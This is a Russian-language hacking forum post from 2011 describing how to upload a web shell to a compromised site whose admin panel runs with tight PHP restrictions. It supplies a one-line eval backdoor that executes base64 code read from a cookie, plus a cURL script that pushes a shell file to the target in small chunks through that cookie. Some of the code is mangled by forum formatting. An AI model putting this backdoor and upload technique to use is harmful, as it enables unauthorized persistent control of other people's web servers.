Заливка Шелла при жоских условиях.

Discussion in 'Веб-уязвимости' started by b3, 3 Mar 2011.

  1. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Наткнулся на админку где сильно порезаны права. Отключены все опасные функции типа system и даже phpinfo(); Выдирать конфиги пришлось через ini_get и function_exists()

    В добавок:

    allow_url_fopen = Off;
    allow_url_include = Off;
    file_uploads = Off;
    max_input_nesting_level не позволяет передавать через GET | POST большие объемы, то есть шелл не загрузить, да что там шелл 3 строки на PHP уже не записывает. Отключены сокеты и cURL.

    И в админке при редактировании любого файла, мешает addslashes();

    В общем помог самопальный скриптик которым я порциями через куки трансферил свой шелл, может кому пригодится, как бы делюсь:

    Скрипт бэкдор, в обход addslashes(); который будет принимать наши куки.
    PHP:
    <?php eval(base64_decode($_COOKIE[cmd])); ?>
    Скрипт сервер, который будет отсылать мелкими порциями наш шелл:
    PHP:
    <?php
    @set_time_limit(0);

    $start time();
    $handle fopen("file.txt""rb"); # Наш шелл.

    while (!feof($handle)) {
        @
    $contents fread($handle50); # Порция байт для закачки.
        
    @$all .= $contents;
        
    $contents base64_encode($contents);
            
        
    $str "file_put_contents('shell.php',base64_decode('".$contents."'),FILE_APPEND);";
        
        
    $ch curl_init('http://localhost/client.php');
        
    curl_setopt($chCURLOPT_COOKIE'cmd='.base64_encode($str));
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    curl_exec($ch);
        
    curl_close($ch);
        
        
    }
    fclose($handle);

    echo 
    'Передано символов: '.strlen($all).'<br />';
    $end time();
    echo 
    'Затраченое время: '.date('H:i:s', ($end $start));
    ?> 
    ЗЫ Работу через прокси не дописывал, у мну ВПН.
     
    4 people like this.